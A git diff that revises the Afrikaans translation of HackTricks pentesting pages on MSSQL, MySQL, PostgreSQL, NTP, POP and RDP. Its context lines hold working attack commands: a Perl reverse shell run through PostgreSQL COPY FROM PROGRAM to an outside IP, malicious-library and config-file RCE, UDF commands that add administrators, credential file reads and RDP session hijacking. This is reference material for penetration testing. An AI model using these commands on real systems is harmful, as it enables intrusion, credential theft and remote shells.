Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) + +[Troubleshooting die SQL Server Toegewyde Administrateurverbinding](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Plaaslike Privilege Escalation -Die gebruiker wat MSSQL bediener uitvoer, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hê.\ +Die gebruiker wat MSSQL-server uitvoer, sal die voorregteken **SeImpersonatePrivilege** geaktiveer hê.\ Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een van hierdie 2 bladsye te volg: {{#ref}} diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md index fad13658b..6f9841aaf 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md @@ -4,22 +4,22 @@ Tabel geneem uit die [**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16). -| Kolom naam | Gegewentipe | Beskrywing | +| Kolomnaam | Dat tipe | Beskrywing | | --------------------------------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **naam** | **sysname** | Naam van die prinsiep, uniek binne die databasis. | | **principal_id** | **int** | ID van die prinsiep, uniek binne die databasis. | -| **type** | **char(1)** |

Prinsiep tipe:

A = Toepassing rol

C = Gebruiker gemap na 'n sertifikaat

E = Eksterne gebruiker van Azure Active Directory

G = Windows groep

K = Gebruiker gemap na 'n asimmetriese sleutel

R = Databasis rol

S = SQL gebruiker

U = Windows gebruiker

X = Eksterne groep van Azure Active Directory groep of toepassings

| +| **type** | **char(1)** |

Prinsiep tipe:

A = Toepassing rol

C = Gebruiker gemap na 'n sertifikaat

E = Eksterne gebruiker van Azure Active Directory

G = Windows groep

K = Gebruiker gemap na 'n asymmetriese sleutel

R = Databasis rol

S = SQL gebruiker

U = Windows gebruiker

X = Eksterne groep van Azure Active Directory groep of toepassings

| | **type_desc** | **nvarchar(60)** |

Beskrywing van prinsiep tipe.

APPLICATION_ROLE

CERTIFICATE_MAPPED_USER

EXTERNAL_USER

WINDOWS_GROUP

ASYMMETRIC_KEY_MAPPED_USER

DATABASE_ROLE

SQL_USER

WINDOWS_USER

EXTERNAL_GROUPS

| | **default_schema_name** | **sysname** | Naam wat gebruik moet word wanneer SQL naam nie 'n skema spesifiseer nie. Null vir prinsiepe wat nie van tipe S, U, of A is nie. | | **create_date** | **datetime** | Tyd waarop die prinsiep geskep is. | | **modify_date** | **datetime** | Tyd waarop die prinsiep laas gewysig is. | | **owning_principal_id** | **int** | ID van die prinsiep wat hierdie prinsiep besit. Alle vaste Databasis Rolle word standaard deur **dbo** besit. | -| **sid** | **varbinary(85)** | SID (Veiligheidsidentifiseerder) van die prinsiep. NULL vir SYS en INFORMATIE SKEMAS. | +| **sid** | **varbinary(85)** | SID (Sekuriteitsidentifiseerder) van die prinsiep. NULL vir SYS en INFORMATIE SKEMAS. | | **is_fixed_role** | **bit** | As 1, verteenwoordig hierdie ry 'n inskrywing vir een van die vaste databasis rolle: db_owner, db_accessadmin, db_datareader, db_datawriter, db_ddladmin, db_securityadmin, db_backupoperator, db_denydatareader, db_denydatawriter. | -| **authentication_type** | **int** |

Van toepassing op: SQL Server 2012 (11.x) en later.

Gee aan die tipe verifikasie aan. Die volgende is die moontlike waardes en hul beskrywings.

0 : Geen verifikasie
1 : Instansie verifikasie
2 : Databasis verifikasie
3 : Windows verifikasie
4 : Azure Active Directory verifikasie

| +| **authentication_type** | **int** |

Van toepassing op: SQL Server 2012 (11.x) en later.

Gee aan watter tipe verifikasie. Die volgende is die moontlike waardes en hul beskrywings.

0 : Geen verifikasie
1 : Instansie verifikasie
2 : Databasis verifikasie
3 : Windows verifikasie
4 : Azure Active Directory verifikasie

| | **authentication_type_desc** | **nvarchar(60)** |

Van toepassing op: SQL Server 2012 (11.x) en later.

Beskrywing van die verifikasie tipe. Die volgende is die moontlike waardes en hul beskrywings.

NONE : Geen verifikasie
INSTANCE : Instansie verifikasie
DATABASE : Databasis verifikasie
WINDOWS : Windows verifikasie
EXTERNAL: Azure Active Directory verifikasie

| -| **default_language_name** | **sysname** |

Van toepassing op: SQL Server 2012 (11.x) en later.

Gee aan die standaardtaal vir hierdie prinsiep.

| -| **default_language_lcid** | **int** |

Van toepassing op: SQL Server 2012 (11.x) en later.

Gee aan die standaard LCID vir hierdie prinsiep.

| -| **allow_encrypted_value_modifications** | **bit** |

Van toepassing op: SQL Server 2016 (13.x) en later, SQL Databasis.

Suppresses cryptografiese metadata kontroles op die bediener in grootkopie operasies. Dit stel die gebruiker in staat om grootkopie data wat met Always Encrypted versleuteld is, tussen tabelle of databasisse te kopieer, sonder om die data te ontsleutel. Die standaard is AF.

| +| **default_language_name** | **sysname** |

Van toepassing op: SQL Server 2012 (11.x) en later.

Gee aan wat die standaardtaal vir hierdie prinsiep is.

| +| **default_language_lcid** | **int** |

Van toepassing op: SQL Server 2012 (11.x) en later.

Gee aan wat die standaard LCID vir hierdie prinsiep is.

| +| **allow_encrypted_value_modifications** | **bit** |

Van toepassing op: SQL Server 2016 (13.x) en later, SQL Databasis.

Suppresses cryptografiese metadata kontroles op die bediener in grootkopie operasies. Dit stel die gebruiker in staat om data wat met Always Encrypted versleuteld is, tussen tabelle of databasisse te kopieer, sonder om die data te ontsleutel. Die standaard is AF.

| {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 43bdb8da6..3d981c7f4 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -24,7 +24,7 @@ mysql -h -u root@localhost ``` ## Eksterne Enumerasie -Sommige van die enumerasie aksies vereis geldige akrediteerling +Sommige van die enumerasie aksies vereis geldige akrediteerlinge ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` -## **MySQL-opdragte** +## **MySQL opdragte** ```bash show databases; use ; @@ -112,7 +112,7 @@ U kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysq ## MySQL arbitrêre lêer lees deur kliënt Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **As jy dan 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\ -Let asseblief daarop dat dit die gedrag is wat gebruik word: +Neem asseblief kennis dat dit die gedrag is wat gebruik word: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` @@ -124,7 +124,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Inisiële PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**In hierdie dokument kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -135,7 +135,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ### Mysql Gebruiker -Dit sal baie interessant wees as mysql as **root** loop: +Dit sal baie interessant wees as mysql as **root** draai: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 @@ -146,10 +146,10 @@ In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om sy w - Die **`user`** instelling word gebruik om die gebruiker aan te dui waaronder die MySQL diens uitgevoer sal word. - **`password`** word toegepas om die wagwoord wat met die MySQL gebruiker geassosieer word, te vestig. -- **`admin_address`** spesifiseer die IP adres wat luister vir TCP/IP verbindings op die administratiewe netwerk koppelvlak. +- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerkinterfaan. - Die **`debug`** veranderlike is aanduidend van die huidige foutopsporing konfigurasies, insluitend sensitiewe inligting binne logs. - **`sql_warnings`** bestuur of inligtingsstringe gegenereer word vir enkel-ry INSERT verklarings wanneer waarskuwings ontstaan, wat sensitiewe data binne logs bevat. -- Met **`secure_file_priv`** word die omvang van data invoer en uitvoer operasies beperk om sekuriteit te verbeter. +- Met **`secure_file_priv`** word die omvang van data-invoer en -uitvoer operasies beperk om sekuriteit te verbeter. ### Privilege verhoging ```bash @@ -171,7 +171,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy **gebruikers gedefinieerde funksies** gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n **biblioteek** vir die OS wat mysql uitvoer, benodig. +As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy **gebruikers gedefinieerde funksies** gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n **biblioteek** vir die OS wat mysql uitvoer, nodig hê. Die kwaadwillige biblioteek om te gebruik kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** te doen. Die **`.so`** lêers is **linux** biblioteke en die **`.dll`** is die **Windows** een, kies die een wat jy nodig het. @@ -216,7 +216,7 @@ SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Uittreksel van MySQL geloofsbriewe uit lêers -Binne _/etc/mysql/debian.cnf_ kan jy die **duidelike wagwoord** van die gebruiker **debian-sys-maint** vind +Binne _/etc/mysql/debian.cnf_ kan jy die **planktekst wagwoord** van die gebruiker **debian-sys-maint** vind ```bash cat /etc/mysql/debian.cnf ``` diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index 90e6653f1..f5c818211 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -42,9 +42,9 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1 [**Hoe NTP DDoS Aanval Werk**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) -Die **NTP protokol**, wat UDP gebruik, laat werking toe sonder die behoefte aan handdruk prosedures, anders as TCP. Hierdie eienskap word uitgebuit in **NTP DDoS versterking aanvalle**. Hier skep aanvallers pakkette met 'n valse bron IP, wat dit laat lyk asof die aanval versoeke van die slagoffer kom. Hierdie pakkette, aanvanklik klein, laat die NTP bediener toe om met baie groter datavolumes te antwoord, wat die aanval versterk. +Die **NTP protokol**, wat UDP gebruik, laat werking toe sonder die behoefte aan handdruk prosedures, anders as TCP. Hierdie eienskap word uitgebuit in **NTP DDoS versterking aanvalle**. Hier skep aanvallers pakkette met 'n vals bron IP, wat dit laat lyk asof die aanval versoeke van die slagoffer kom. Hierdie pakkette, aanvanklik klein, laat die NTP bediener toe om met baie groter datavolumes te reageer, wat die aanval versterk. -Die _**MONLIST**_ opdrag, ten spyte van sy seldsame gebruik, kan die laaste 600 kliënte wat aan die NTP diens gekoppel is, rapporteer. Terwyl die opdrag self eenvoudig is, beklemtoon die misbruik daarvan in sulke aanvalle kritieke sekuriteitskwesies. +Die _**MONLIST**_ opdrag, ten spyte van sy seldsame gebruik, kan die laaste 600 kliënte wat aan die NTP diens gekoppel is, rapporteer. Terwyl die opdrag self eenvoudig is, beklemtoon die misbruik daarvan in sulke aanvalle kritieke sekuriteitskwesbaarhede. ```bash ntpdc -n -c monlist ``` diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md index 7bb0bbfa8..bbd5c3535 100644 --- a/src/network-services-pentesting/pentesting-pop.md +++ b/src/network-services-pentesting/pentesting-pop.md @@ -32,7 +32,7 @@ Die `pop3-ntlm-info` plugin sal 'n paar "**sensitiewe**" data (Windows weergawes ## POP sintaksis -POP opdragvoorbeelde van [hier](http://sunnyoasis.com/services/emailviatelnet.html) +POP opdrag voorbeelde van [hier](http://sunnyoasis.com/services/emailviatelnet.html) ```bash POP commands: USER uid Log in as "uid" diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index fc02d8ae8..6097f700f 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -81,7 +81,7 @@ connect_timeout=10'); ``` - Gasheer is af -`DETAIL: kon nie met bediener verbind nie: Geen roete na gasheer Is die bediener aan die gasheer "1.2.3.4" aan die gang en aanvaar dit TCP/IP verbindings op poort 5678?` +`DETAIL: kon nie met die bediener verbind nie: Geen roete na gasheer. Is die bediener aan die gang op gasheer "1.2.3.4" en aanvaar TCP/IP verbindings op poort 5678?` - Poort is gesluit ``` @@ -102,7 +102,7 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -In PL/pgSQL funksies is dit tans nie moontlik om uitsondering besonderhede te verkry nie. As jy egter direkte toegang tot die PostgreSQL bediener het, kan jy die nodige inligting verkry. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordlys aanvalmetode te gebruik wat in die vorige afdeling bespreek is, aangesien dit moontlik positiewe resultate kan oplewer. +In PL/pgSQL funksies is dit tans nie moontlik om uitsondering besonderhede te verkry nie. As jy egter direkte toegang tot die PostgreSQL bediener het, kan jy die nodige inligting verkry. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordlys aanvalmetode te gebruik wat in die vorige afdeling bespreek is, aangesien dit moontlik positiewe resultate kan lewer. ## Opname van Privileges @@ -294,7 +294,7 @@ Vereiste stappe: SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**Nota:** As jy nie in staat is om die huidige data gids pad uit instellings te verkry nie, kan jy die groot PostgreSQL weergawe deur die `SELECT version()` navraag opvra en probeer om die pad te brute-force. Algemene data gids pades op Unix installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Algemene kluster naam is `main`. +**Nota:** As jy nie die huidige data gids pad uit instellings kan verkry nie, kan jy die hoof PostgreSQL weergawe deur die `SELECT version()` navraag opsoek en probeer om die pad te brute-force. Algemene data gids pades op Unix installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Algemene kluster naam is `main`. 2. Verkry 'n relatiewe pad na die filenode, geassosieer met die teiken tabel @@ -379,7 +379,7 @@ DROP TABLE IF EXISTS cmd_exec; COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` > [!WARNING] -> Onthou dat as jy nie 'n super gebruiker is nie, maar die **`CREATEROLE`** regte het, kan jy **jouself lid van daardie groep maak:** +> Onthou dat as jy nie 'n super gebruiker is nie, maar die **`CREATEROLE`** toestemmings het, kan jy **jouself lid van daardie groep maak:** > > ```sql > GRANT pg_execute_server_program TO username; @@ -407,7 +407,7 @@ Sodra jy **geleer** het uit die vorige pos **hoe om binêre lêers op te laai**, ### PostgreSQL konfigurasie lêer RCE > [!NOTE] -> Die volgende RCE vektore is veral nuttig in beperkte SQLi kontekste, aangesien alle stappe deur geneste SELECT verklarings uitgevoer kan word. +> Die volgende RCE vektore is veral nuttig in beperkte SQLi kontekste, aangesien alle stappe deur geneste SELECT verklarings uitgevoer kan word Die **konfigurasie lêer** van PostgreSQL is **skryfbaar** deur die **postgres gebruiker**, wat die een is wat die databasis bestuur, so as **supergebruiker**, kan jy lêers in die lêerstelsel skryf, en daarom kan jy **hierdie lêer oorskryf.** @@ -419,14 +419,14 @@ Meer inligting [oor hierdie tegniek hier](https://pulsesecurity.co.nz/articles/p Die konfigurasie lêer het 'n paar interessante eienskappe wat tot RCE kan lei: -- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pad na die private sleutel van die databasis -- `ssl_passphrase_command = ''` As die private lêer deur 'n wagwoord beskerm word (geënkripteer), sal postgresql die **opdrag wat in hierdie eienskap aangedui word** **uitvoer**. +- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pad na die privaat sleutel van die databasis +- `ssl_passphrase_command = ''` As die privaat lêer deur 'n wagwoord beskerm word (geënkripteer), sal postgresql die **opdrag wat in hierdie eienskap aangedui word** **uitvoer**. - `ssl_passphrase_command_supports_reload = off` **As** hierdie eienskap **aan** is, sal die **opdrag** wat uitgevoer word as die sleutel deur 'n wagwoord beskerm word, **uitgevoer word** wanneer `pg_reload_conf()` **uitgevoer** word. Dan sal 'n aanvaller moet: -1. **Dump private sleutel** van die bediener -2. **Enkripteer** afgelaaide private sleutel: +1. **Dump privaat sleutel** van die bediener +2. **Enkripteer** afgelaaide privaat sleutel: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Oorskryf** 4. **Dump** die huidige postgresql **konfigurasie** @@ -435,7 +435,7 @@ Dan sal 'n aanvaller moet: 2. `ssl_passphrase_command_supports_reload = on` 6. Voer `pg_reload_conf()` uit -Terwyl ek dit getoets het, het ek opgemerk dat dit slegs sal werk as die **private sleutel lêer regte 640 het**, dit is **besit deur root** en deur die **groep ssl-cert of postgres** (sodat die postgres gebruiker dit kan lees), en is geplaas in _/var/lib/postgresql/12/main_. +Terwyl ek dit getoets het, het ek opgemerk dat dit slegs sal werk as die **privaat sleutel lêer 640 toestemmings het**, dit is **besit deur root** en deur die **groep ssl-cert of postgres** (sodat die postgres gebruiker dit kan lees), en is geplaas in _/var/lib/postgresql/12/main_. #### **RCE met archive_command** @@ -468,7 +468,7 @@ Die aanval stappe is: 1. Laai die oorspronklike `postgresql.conf` af 2. Sluit die `/tmp/` gids in die `dynamic_library_path` waarde in, byvoorbeeld `dynamic_library_path = '/tmp:$libdir'` 3. Sluit die kwaadwillige biblioteeknaam in die `session_preload_libraries` waarde in, byvoorbeeld `session_preload_libraries = 'payload.so'` -4. Kontroleer groot PostgreSQL weergawe via die `SELECT version()` navraag +4. Kontroleer die groot PostgreSQL weergawe via die `SELECT version()` navraag 5. Compileer die kwaadwillige biblioteekkode met die korrekte PostgreSQL ontwikkelingspakket Voorbeeldkode: ```c @@ -516,10 +516,10 @@ Die kode compileer: gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` -6. Laai die kwaadwillige `postgresql.conf`, geskep in stappe 2-3, op en oorskryf die oorspronklike een +6. Laai die kwaadwillige `postgresql.conf`, geskep in stappe 2-3, en oorskryf die oorspronklike een 7. Laai die `payload.so` van stap 5 na die `/tmp` gids 8. Herlaai die bediener konfigurasie deur die bediener te herbegin of die `SELECT pg_reload_conf()` navraag aan te roep -9. By die volgende DB verbinding, sal jy die omgekeerde skulpverbinding ontvang. +9. By die volgende DB verbinding, sal jy die omgekeerde skulp verbinding ontvang. ## **Postgres Privesc** @@ -527,9 +527,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so #### **Grant** -Volgens die [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolles wat die **`CREATEROLE`** regte het, kan **lidmaatskap in enige rol** wat **nie** 'n **supergebruiker** is, **toeken of intrek**._ +Volgens die [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolles wat die **`CREATEROLE`** voorreg het, kan **lidmaatskap in enige rol toeken of intrek** wat **nie** 'n **supergebruiker** is nie._ -So, as jy **`CREATEROLE`** regte het, kan jy jouself toegang tot ander **rolle** (wat nie supergebruiker is nie) toeken wat jou die opsie kan gee om lêers te lees en te skryf en opdragte uit te voer: +So, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang tot ander **rolle** (wat nie supergebruiker is nie) gee wat jou die opsie kan gee om lêers te lees en te skryf en opdragte uit te voer: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -571,7 +571,7 @@ Wanneer jy probeer om **'n ander gebruiker die eienaar van 'n tabel te maak**, b
-Deur hierdie idee te kombineer met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) op 'n **tabel met 'n indeks funksie** uitgevoer word, die **funksie** as deel van die opdrag met die **tabel** **eienaar se regte** **opgeroep** word. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaar regte aan 'n **super gebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel met die kwaadwillige funksie uit te voer wat in staat sal wees om opdragte uit te voer omdat dit die voorregte van die eienaar gebruik. +Om hierdie idee te kombineer met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) op 'n **tabel met 'n indeks funksie** uitgevoer word, word die **funksie** **aangeroep** as deel van die opdrag met die **tabel** **eienaar se toestemmings**. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaarstoestemmings aan 'n **super gebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel met die kwaadwillige funksie uit te voer wat in staat sal wees om opdragte uit te voer omdat dit die voorregte van die eienaar gebruik. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -583,7 +583,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); 2. Voeg 'n paar irrelevante inhoud in die tabel in om data vir die indeksfunksie te verskaf. 3. Ontwikkel 'n kwaadwillige indeksfunksie wat 'n kode-uitvoeringspayload bevat, wat toelaat dat ongeoorloofde opdragte uitgevoer word. 4. ALTER die tabel se eienaar na "cloudsqladmin," wat GCP se superuser rol is wat eksklusief deur Cloud SQL gebruik word om die databasis te bestuur en te onderhou. -5. Voer 'n ANALYZE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," oor te skakel. Gevolglik word die kwaadwillige indeksfunksie met die regte van "cloudsqladmin" aangeroep, wat die uitvoering van die voorheen ongeoorloofde shell-opdrag moontlik maak. +5. Voer 'n ANALYZE operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," oor te skakel. Gevolglik word die kwaadwillige indeksfunksie met die regte van "cloudsqladmin" aangeroep, wat die uitvoering van die voorheen ongeoorloofde shell-opdrag moontlik maak. In PostgreSQL lyk hierdie vloei iets soos hierdie: ```sql @@ -625,7 +625,7 @@ dbname=somedb', RETURNS (result TEXT); ``` > [!WARNING] -> Let op dat vir die vorige navraag om te werk **die funksie `dblink` moet bestaan**. As dit nie bestaan nie, kan jy probeer om dit te skep met +> Let daarop dat vir die vorige navraag om te werk **die funksie `dblink` moet bestaan**. As dit nie bestaan nie, kan jy probeer om dit te skep met > > ```sql > CREATE EXTENSION dblink; @@ -666,7 +666,7 @@ PERFORM dblink_disconnect(); … -Soos [**in die dokumentasie verduidelik**](https://www.postgresql.org/docs/current/sql-createfunction.html) word 'n funksie met **SECURITY DEFINER uitgevoer** met die voorregte van die **gebruiker wat dit besit**. Daarom, as die funksie **kwulnerabel is vir SQL Injection** of sekere **voorregte aksies uitvoer met parameters wat deur die aanvaller beheer word**, kan dit misbruik word om **voorregte binne postgres te eskaleer**. +Soos [**in die dokumentasie verduidelik**](https://www.postgresql.org/docs/current/sql-createfunction.html) word 'n funksie met **SECURITY DEFINER uitgevoer** met die voorregte van die **gebruiker wat dit besit**. Daarom, as die funksie **kwulnerabel is vir SQL-inspuiting** of sekere **voorregte aksies uitvoer met parameters wat deur die aanvaller beheer word**, kan dit misbruik word om **voorregte binne postgres te eskaleer**. In lyn 4 van die vorige kode kan jy sien dat die funksie die **SECURITY DEFINER** vlag het. ```sql @@ -692,7 +692,7 @@ En dan **voer opdragte uit**: > [!NOTE] > Die volgende privesc-vak is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-verklarings uitgevoer kan word -As jy **PostgreSQL-bediener lêers kan lees en skryf**, kan jy **'n superuser** word deur die PostgreSQL op-disk filenode, geassosieer met die interne `pg_authid` tabel, oor te skryf. +As jy **PostgreSQL-bediener lêers kan lees en skryf**, kan jy **'n superuser** word deur die PostgreSQL op-disk filenode, wat geassosieer is met die interne `pg_authid` tabel, oor te skryf. Lees meer oor **hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.** @@ -701,8 +701,8 @@ Die aanvalstappe is: 1. Verkry die PostgreSQL datadirektories 2. Verkry 'n relatiewe pad na die filenode, geassosieer met die `pg_authid` tabel 3. Laai die filenode af deur die `lo_*` funksies -4. Kry die datatype, geassosieer met die `pg_authid` tabel -5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om die [filenode te redigeer](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); stel alle `rol*` boolean-vlaggies op 1 vir volle toestemmings. +4. Kry die datatipe, geassosieer met die `pg_authid` tabel +5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om die [filenode te redigeer](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); stel alle `rol*` boolean-vlaggies op 1 vir volle regte. 6. Herlaai die geredigeerde filenode via die `lo_*` funksies, en oor skryf die oorspronklike lêer op die skyf 7. _(Opsioneel)_ Maak die in-geheue tabelkas skoon deur 'n duur SQL-navraag uit te voer 8. Jy behoort nou die voorregte van 'n volle superadmin te hê. diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index ca0ff279b..801a5000f 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -33,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### Verbinde met bekende akrediteer/hasie +### Verbinde met bekende akrediteerbesonderhede/hash ```bash rdesktop -u rdesktop -d -u -p @@ -60,11 +60,11 @@ query user ```bash tscon /dest: ``` -Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker kan naboots met slegs Windows-hulpmiddels en -kenmerke. +Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker kan naboots met slegs Windows-gereedskap en -kenmerke. **Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel. -Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaar te interaksie (wagwoorde in notepad sonder om op die skyf gestoor te word, ander RDP-sessies wat op ander masjiene oop is...) +Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op die skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...) #### **Mimikatz** @@ -75,9 +75,9 @@ ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman -Deur hierdie tegniek te kombineer met **stickykeys** of **utilman kan jy toegang verkry tot 'n administratiewe CMD en enige RDP-sessie enige tyd** +Deur hierdie tegniek te kombineer met **stickykeys** of **utilman**, sal jy in staat wees om toegang te verkry tot 'n administratiewe CMD en enige RDP-sessie enige tyd. -Jy kan RDP's soek wat reeds met een van hierdie tegnieke teruggewerk is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Jy kan RDP's soek wat reeds met een van hierdie tegnieke teruggegaan is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Proses Inspuiting @@ -91,20 +91,20 @@ As iemand van 'n ander domein of met **beter regte aanmeld via RDP** op die PC w ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` -## Automatiese Gereedskap +## Outomatiese Gereedskap - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** is 'n post-exploitasie raamwerk geskep in Powershell, hoofsaaklik ontwerp om die **Shadow** aanval op 